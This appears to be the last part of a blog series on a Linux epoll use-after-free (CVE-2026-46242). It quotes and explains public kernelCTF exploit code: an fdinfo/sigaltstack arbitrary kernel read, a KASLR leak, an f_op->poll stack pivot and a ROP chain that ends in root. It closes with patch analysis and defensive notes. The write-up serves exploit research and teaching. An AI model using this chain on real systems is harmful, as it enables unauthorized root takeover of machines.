3. [Bad epoll CVE-2026-46242] Opening the Kernel: From Arbitrary Read to ROP and Root
Goal: the payoff. Reproduce the full chain from the hijacked file: arbitrary read → KASLR bypass → ROP → root.
Series Introduction
This is the final part of the three-part series on CVE-2026-46242 (Bad Epoll).
- Part 1 - The Root of the Bug: epoll close-vs-close race and UAF
- Part 2 - Heap! : the SLUB allocator and cross-cache
- Part 3 (this article) - Opening the Kernel: from arbitrary read to ROP and root
0. Setup
Where Part 2 left us: the 8-byte write-after-free was amplified, through same-cache reclaim + cross-cache, into a dangling struct file pointing at memory we control byte-by-byte through a pipe. In other words, a state where we can hand the kernel a forged struct file and it believes it’s real. Part 3 turns that into root.
The exploit and its build structure
The exploit we run in this blog is the public kernelCTF submission.
- Source:
J-jaeyoung/security-research—CVE-2026-46242_lts_cos/exploit/lts-6.12.67/exploit.cpp - It is built on top of libxdk from
google/kernel-research. The exploit resolves per-target offsets, symbols, ROP gadgets, and stack pivots at runtime from the embedded target DB (target_db.kxdb) via/proc/versionauto-detection. - The prebuilt binary is statically linked (
static, not stripped), and the target is selected at compile time withDTARGET_LTS_6_12_67.
Reproduction environment
The screenshots below were produced by booting the official kernelCTF lts-6.12.67 kernel (fetched with download_release.sh from kernel-research/image_db, so the banner and offsets match the exploit’s DB) in QEMU + KVM, with a minimal BusyBox initramfs holding the prebuilt exploit.
Code map (main flow)
main() is a straight-line pipeline: target auto-detection → prefetch KASLR leak → race win → cross-cache → build the AAR → ROP → return to userland as root.
1
2
3
4
5
6
7
8
9
10
11
// exploit.cpp ~1037–1046
bool vuln_trigger = false;
for (int i = 1; i < argc; i++)
if (strcmp(argv[i], "--vuln-trigger") == 0)
vuln_trigger = true;
...
if (vuln_trigger) {
printf("[*] --vuln-trigger: race until KASAN...\n");
vuln_trigger_only(/*max_attempts=*/100000);
return 0;
}
--vuln-trigger is a mode that only drives the race to check whether the UAF fires (useful on a KASAN build); the default path runs the full exploit. This article follows that default path in execution order.
1. From a hijacked struct file to an arbitrary read via /proc/self/fdinfo
Idea: epoll has a debug interface. Reading /proc/self/fdinfo/<epfd> makes the kernel enter ep_show_fdinfo(), which resolves the watched file’s inode and prints inode->i_ino and inode->i_sb->s_dev. If we forge our controlled file’s f_inode to address_we_want_to_read - offset(inode, i_ino), the kernel reads our chosen kernel address as if it were an inode field and spits it right back out.
Code (exploit. source: https://github.com/J-jaeyoung/security-research/tree/submit-cve-2026-46242/pocs/linux/kernelctf/CVE-2026-46242_lts_cos)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ~898–908 : 8-byte read, "constrained"
static u64 leak_constrained_aar_8b(u64 addr)
{
fake_file_spray(NOT_USED, NOT_USED, addr - offsets.inode_i_ino);
char out_buf[1024] = {0};
pread(fdinfo_fd, out_buf, sizeof(out_buf), 0);
return parse_hex_after_needle(out_buf, "ino:");
}
// ~910–925 : 4-byte read via sdev, "unconstrained" (sigaltstack trick)
static u32 leak_aar_4b(u64 addr)
{
stack_t alt_stack = {};
alt_stack.ss_sp = (void *)(addr - 0x10);
alt_stack.ss_size = 0x1000;
if (sigaltstack(&alt_stack, NULL) == -1) perror("sigaltstack");
char out_buf[1024] = {0};
pread(fdinfo_fd, out_buf, sizeof(out_buf), 0);
return parse_hex_after_needle(out_buf, "sdev:");
}
// ~928–930 : two 4-byte reads → one 8-byte arbitrary read
static u64 leak_aar(u64 addr)
{
return ((u64)leak_aar_4b(addr + 4) << 32) | leak_aar_4b(addr);
}
Code explanation:
1. leak_constrained_aar_8b (constrained 8-byte read)
- The attacker builds a “fake file struct” in memory to deceive the kernel.
- It edits the fake file’s
f_inodepointer so that it points to a locationinode_i_ino(the struct offset) bytes before the target address it wants to read via the vulnerability. - It requests a read (
pread) of the kernel’s/proc/self/fdinfo/<fd>file. Because the kernel uses theino:\t%luformat when printing this information, the 8 bytes of data at the target address are printed as a string in the form of the file’s inode number (ino). Parsing this reads out 8 bytes. - However, during
/proc/self/fdinfoprocessing, the kernel dereferences not onlyinode->i_inobut alsoinode->i_sb(the superblock pointer). - Therefore, if the memory around the target address does not contain a valid address value (a pointer the kernel can access without faulting), a kernel panic (crash) occurs.
leak_aar_4b (unconstrained 4-byte read)
- It uses the
sigaltstack()syscall. This syscall lets even a normal (unprivileged) process freely write an arbitrary value (address) of the attacker’s choosing intocurrent->sas_ss_sp, a field of its own task struct inside the kernel. - It makes the fake file’s
f_inodepointer point not at the address to read, but at thecurrent->sas_ss_spfield whose value we have controlled in advance. - In this state, reading
/proc/self/fdinfomakes the kernel read the arbitrary address we planted when it dereferencesinode->i_sb. - As a result, in the
sdev:\t%xpart that printsi_sb->s_dev, the data at the attacker-specified address leaks 4 bytes at a time as a hexadecimal string. - This completely bypasses the constraint of validating whether the surrounding memory is a valid pointer.
leak_aar (full 8-byte arbitrary read)
leak_aar_4bcan read without constraints, but only 4 bytes at a time.- The
leak_aarfunction calls thisleak_aar_4btwice in a row (or in combination) to complete a general-purpose function that perfectly reads the full 8 bytes (64 bits) of data at a desired address, with no memory constraints.
To sum up, it is a technique that abuses the /proc/self/fdinfo output feature to fetch kernel memory as text. Through sigaltstack(), it injects a desired address directly into kernel memory (current->sas_ss_sp), makes the fake f_inode point there, and, during the i_sb->s_dev parsing, bypasses the check to print out the desired memory 4 bytes at a time.
About this image: a single run log shows the whole chain at a glance. After [+] target: kernelctf lts-6.12.67, the AAR walks live kernel structures: task=…, files=…, fdt=…, fd_array=…, file=…, pipe=…, bufs=…, and the physmap/vmemmap anchors vmemmap_base=…, page_offset_base=…. That pointer-chase, going all the way down from a task to the pipe’s backing struct page, is exactly what the arbitrary read buys us, and it ends with [+] rop_page virt=… — the kernel-virtual address of the page we control.
2. KASLR bypass / obtaining kernel symbol and gadget addresses
Idea: here KASLR falls in two ways. First, a prefetch side-channel recovers the kernel base with no heap leak. Second, once we have the base and an arbitrary read, we anchor on the static symbol init_task, follow the task list down to our task_struct, and on to the pipe page — verifying at every hop that init_task’s command name is "swapper".
Code
1
2
3
4
5
6
7
8
9
// ~1051–1053 : prefetch KASLR leak
printf("[*] KASLR leak...\n");
uint64_t window_size = target.GetKernelPageCount();
kernel_base = check_kaslr_base(leak_kaslr_base(window_size));
// ~249–285 : register the anchor symbols libxdk uses
target.AddSymbol("init_task", INIT_TASK);
target.AddSymbol("vmemmap_base", VMEMMAP_BASE);
target.AddSymbol("page_offset_base", PAGE_OFFSET_BASE);
Code explanation: leak_kaslr_base() times the prefetch instruction across candidate addresses to find where the kernel image is mapped, and check_kaslr_base() validates it. libxdk then turns the static symbols init_task/vmemmap_base/page_offset_base into runtime addresses, and the exploit reads init_task.comm through the AAR — if it says swapper, the leak and offsets are correct. In the run log, the line [+] cross-cache ok (init_task.comm=swapper) is exactly this.
Using the QEMU debugger (GDB), we queried the init_task.comm address in kernel memory and confirmed the string "swapper/0". The fact that this string printed correctly proves that the address we stole is a real kernel structure, which means the KASLR (kernel address randomization) bypass succeeded. The exploit likewise uses the presence of this "swapper" string as the correctness oracle (the answer check) for its address computation.
3. Control-flow hijacking - stack pivot and building the ROP chain
Idea: the forged file also controls f_op (the file-operations table). If we make f_op->poll point at a stack-pivot gadget and get the kernel to call poll on that file, the indirect call file->f_op->poll() hands RIP to our gadget, and that gadget moves rsp onto the pipe page we control — where a ROP chain is already laid out.
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ~982–1010 : rip_pivot_and_fire()
fake_file_spray(virt - 1, virt, NOT_USED);
...
page.SetU64(offsets.fop_poll, kernel_base + PIVOT1); // f_op->poll = stack-pivot gadget
...
epoll_wait(ep_uaf_waiter, NULL, 1, 1000); // → vfs_poll() → f_op->poll()
// ~955–960 : rop_build_privesc()
static std::vector<uint64_t> rop_build_privesc(Target &target)
{
RopChain rop(target, kernel_base);
rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1});
RopUtils::Ret2Usr(rop, (void *)rip_post_exploit);
...
}
1. Seizing control (getting RIP)
- We swap the fake file object’s function pointer (
f_op->poll) for a kernel address we prepared in advance. - Running
epoll_wait()triggersvfs_poll()inside the kernel, which executes the function pointer we rigged, so we take control of the kernel’s instruction execution flow (RIP).
2. Stack switch and ROP execution
- Stack pivot: we forcibly move the kernel’s stack pointer to a memory page the attacker has manipulated.
- ROP chain execution: we execute the sequence of instructions written on the manipulated stack to carry out the following key tasks.
- Overwrite the current process’s credential information with
init_task’s to make it UID 0 (root). - Move the current process into the
initnamespace, the highest-privilege environment.
- Overwrite the current process’s credential information with
3. Returning to userland
Without a kernel panic, we use the Ret2Usr technique to safely return to user-space code while holding root privileges.
About this image: the breakpoint on switch_task_namespaces fired because the ROP chain called that function — proof that control was taken. Reading the registers:
rip = …9f1e1810—switch_task_namespaces, a kernel function the ROP chose to call.rsp = 0xffff9a00c2e35660— a physmap (page_offset) address, i.e. the pipe page we control, not a legitimate task stack. That is the stack pivot, made visible.x/16gx $rsp— the chain on the pivoted stack: the next gadget addresses, then theiretqframe — user return address0x4092f0(inside the static exploit binary),CS=0x33,RFLAGS=0x246, a userrsp,SS=0x2b. That frame is theRet2Usr(rip_post_exploit)step, returning to userland as root. The trailing0x5050…('P') is our page padding — a sign that the memory really is attacker-filled.
4. Privilege escalation → getting a root shell
Idea: after the ROP installs root credentials and switches namespaces, we are back in userland as root. But the kernelCTF flag lives in PID 1’s namespace. The exploit’s SWITCH_TASK_NAMESPACES laid the groundwork, and the last step is to enter that context.
Since COMMIT_INIT_TASK_CREDS already gave us uid 0, nsenter --target 1 -m -p (entering PID 1’s mount·pid namespaces) succeeds, dropping us into a root shell in the init context that reaches the flag.
5. Patch analysis - how a6dc643c6931 (2026-04-24) closed the race
The fix landed upstream as commit a6dc643c6931 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a6dc643c69311677c574a0f17a3f4d66a5f3744b) — “eventpoll: fix ep_remove struct eventpoll / struct file UAF” (reported by: Jaeyoung Chung, fixed by: Christian Brauner).
Recall the race from Part 1: while ep_remove() grabbed epi->ffd.file without holding a reference and kept using it, a concurrently-running __fput() observed the transient f_ep == NULL state and freed the object.
The patch pins the file up front - it acquires a real reference before touching file->f_lock:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void ep_remove(struct eventpoll *ep, struct epitem *epi)
{
- struct file *file = epi->ffd.file;
+ struct file *file __free(fput) = NULL;
lockdep_assert_irqs_enabled();
lockdep_assert_held(&ep->mtx);
ep_unregister_pollwait(ep, epi);
- /* sync with eventpoll_release_file() */
+ /* cheap sync with eventpoll_release_file() */
if (unlikely(READ_ONCE(epi->dying)))
return;
- spin_lock(&file->f_lock);
- if (epi->dying) {
- spin_unlock(&file->f_lock);
+ /*
+ * If we manage to grab a reference it means we're not in
+ * eventpoll_release_file() and aren't going to be.
+ */
+ file = epi_fget(epi);
+ if (!file)
return;
- }
+
+ spin_lock(&file->f_lock);
ep_remove_file(ep, epi, file);
Why it works: the old code read the file pointer raw (epi->ffd.file) and only re-checked epi->dying after it had already taken file->f_lock on a file that might be dying. The patch replaces that with a call to epi_fget(epi), trying to take an actual reference on the file while at the same time checking that the file is still alive. If acquiring the reference fails (!file), it means we overlap with the path where the file is being freed by eventpoll_release_file() or the final __fput(), so it bails out immediately. Conversely, if acquiring the reference succeeds, we now hold the file’s refcount, so __fput() cannot run ep_free() and free the struct file / struct eventpoll out from under us — and __free(fput) returns that reference automatically on return. This fix does not patch a symptom; it removes the premise of the race.
6. Wrap-up - what a 1-day teaches, and defensive notes
Looking back over the whole series, this exploit is a chain in which each individual primitive amplifies the next.
8-byte write-after-free (Part 1) → same-cache reclaim + cross-cache to secure a controlled page (Part 2) → arbitrary read via /proc/self/fdinfo → KASLR bypass → f_op->poll hijack + stack pivot + ROP → root (Part 3).
Things worth remembering
- Acquire the object first, then take the lock. The core of this bug is a wrong assumption about the object’s lifetime — it assumed an object for which no reference had yet been acquired would still be alive even after taking the lock. The patch first acquires a reference to the object with
epi_fget(), and releases it automatically after use with__free(fput). In other words, it can be seen as the principle: “in a situation where another path can free the object, safely acquire the object first, then use the lock.” - A debug interface that only shows data can also be an attack surface.
/proc/self/fdinfolooks like a simple interface that just shows file information, but in this vulnerability it led to an arbitrary-read primitive that reads the value at an attacker-chosen address without directly corrupting any memory. Therefore, hardening such askptr_restrict, and exposing as little kernel-pointer-related information as possible in procfs, can raise the difficulty of the attack. - Memory reuse across different caches is hard to stop with same-cache defenses alone. This attack does not recycle objects within the same slab cache; it reuses an entire page for a different purpose. That is, it fully empties the slab page that used to hold
struct fileobjects, returns it to the buddy allocator, and then a pipe takes that page back. Thus cache-level defenses alone are not enough, and defenses that account for page-level memory reuse are also needed. - If CFI had been applied, the last step would have been far harder. The attack changes
f_op->pollto an attacker-chosen address and then executes it as an indirect call. Had forward-edge CFI (kCFI) been applied, it would check the validity of the call target, making it much harder to hijackf_op->pollthis way to run desired code. - “Even test a stone bridge before you cross it.” This is a Korean proverb — that is, you should look again even at code that has already been passed over. Bad epoll was a bug Mythos missed. The important point is that just because code is “already public, patched, and analyzed” does not mean the bug inside it is easy to see. In particular, race conditions occur in a very short window and leave limited evidence at runtime, so bugs can hide for a long time in such small gaps.
Sources
- Exploit / PoC:
J-jaeyoung/security-research— CVE-2026-46242 (lts_cos) - Exploit framework:
google/kernel-research(libxdk, kxdb_tool, image_db, rop_generator) - Upstream fix:
a6dc643c6931(2026-04-24)




